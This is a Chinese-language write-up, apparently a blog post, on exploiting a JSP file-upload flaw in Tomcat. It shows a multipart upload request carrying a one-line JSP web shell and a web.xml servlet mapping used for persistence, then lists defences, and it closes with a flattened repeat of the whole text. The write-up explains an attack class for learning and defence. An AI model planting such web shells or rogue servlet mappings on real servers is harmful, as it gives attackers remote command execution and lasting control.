记一次过滤jsp的文件上传
字数 903 2025-08-06 08:35:14

JSP文件上传漏洞分析与利用

0x01 环境介绍

本案例涉及一个存在JSP文件上传漏洞的Tomcat服务器环境,攻击者能够上传恶意JSP文件并成功执行,同时还能修改web.xml配置文件。

0x02 前置知识

JSP文件上传漏洞

  • JSP(Java Server Pages)是Java EE技术中的动态网页技术标准
  • 当服务器未对上传的JSP文件进行有效过滤时,攻击者可上传恶意JSP文件获取服务器控制权

web.xml文件

  • web.xml是Java Web应用的部署描述文件
  • 包含Servlet、Filter、Listener等组件的配置信息
  • 修改web.xml可以添加新的路由或修改应用行为

0x03 漏洞利用过程

1. 文件上传

攻击者通过WebKitFormBoundary格式上传恶意JSP文件:

------WebKitFormBoundary67oVSNngE4QsAxoK--
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

<% Runtime.getRuntime().exec("your_command"); %>
------WebKitFormBoundary67oVSNngE4QsAxoK--

2. 上传成功验证

  • 观察Tomcat日志确认应用重新加载
  • 访问上传的JSP文件验证执行:http://127.0.0.1:8082/demo/shell.jsp

3. web.xml修改利用

攻击者可进一步修改web.xml文件:

  1. 添加新的Servlet映射
  2. 调用未授权的危险类
  3. 添加新的路由路径

0x04 关键问题解答

web.xml重写技术

关于评论中"web.xml重写怎么实现文件内容与原始文件内容一致"的问题:

  1. 文件覆盖技术

    • 完全覆盖原始web.xml文件
    • 保留必要的配置元素避免应用崩溃
    • 使用DOM解析器精确修改特定节点
  2. 可能涉及的漏洞

    • 文件上传路径穿越漏洞(../)
    • 权限配置不当(web.xml可写)
    • 应用热部署机制漏洞
  3. 实现方法

    <servlet>
        <servlet-name>malicious</servlet-name>
        <servlet-class>com.example.DangerousClass</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>malicious</servlet-name>
        <url-pattern>/malicious</url-pattern>
    </servlet-mapping>
    

0x05 防御措施

  1. 文件上传防护

    • 限制上传文件类型(白名单)
    • 禁止上传可执行脚本文件
    • 文件内容检测
  2. 文件权限控制

    • web.xml设置为只读
    • 应用目录权限最小化
  3. 安全配置

    • 禁用Tomcat自动部署
    • 关闭开发模式功能
    • 定期安全审计

0x06 总结

本案例展示了通过JSP文件上传漏洞获取服务器控制权的方法,并探讨了进一步利用web.xml修改实现持久化控制的可能。防御此类漏洞需要从文件上传过滤、权限控制和服务器配置多方面入手。

JSP文件上传漏洞分析与利用 0x01 环境介绍 本案例涉及一个存在JSP文件上传漏洞的Tomcat服务器环境,攻击者能够上传恶意JSP文件并成功执行,同时还能修改web.xml配置文件。 0x02 前置知识 JSP文件上传漏洞 JSP(Java Server Pages)是Java EE技术中的动态网页技术标准 当服务器未对上传的JSP文件进行有效过滤时,攻击者可上传恶意JSP文件获取服务器控制权 web.xml文件 web.xml是Java Web应用的部署描述文件 包含Servlet、Filter、Listener等组件的配置信息 修改web.xml可以添加新的路由或修改应用行为 0x03 漏洞利用过程 1. 文件上传 攻击者通过WebKitFormBoundary格式上传恶意JSP文件: 2. 上传成功验证 观察Tomcat日志确认应用重新加载 访问上传的JSP文件验证执行: http://127.0.0.1:8082/demo/shell.jsp 3. web.xml修改利用 攻击者可进一步修改web.xml文件: 添加新的Servlet映射 调用未授权的危险类 添加新的路由路径 0x04 关键问题解答 web.xml重写技术 关于评论中"web.xml重写怎么实现文件内容与原始文件内容一致"的问题: 文件覆盖技术 : 完全覆盖原始web.xml文件 保留必要的配置元素避免应用崩溃 使用DOM解析器精确修改特定节点 可能涉及的漏洞 : 文件上传路径穿越漏洞(../) 权限配置不当(web.xml可写) 应用热部署机制漏洞 实现方法 : 0x05 防御措施 文件上传防护 : 限制上传文件类型(白名单) 禁止上传可执行脚本文件 文件内容检测 文件权限控制 : web.xml设置为只读 应用目录权限最小化 安全配置 : 禁用Tomcat自动部署 关闭开发模式功能 定期安全审计 0x06 总结 本案例展示了通过JSP文件上传漏洞获取服务器控制权的方法,并探讨了进一步利用web.xml修改实现持久化控制的可能。防御此类漏洞需要从文件上传过滤、权限控制和服务器配置多方面入手。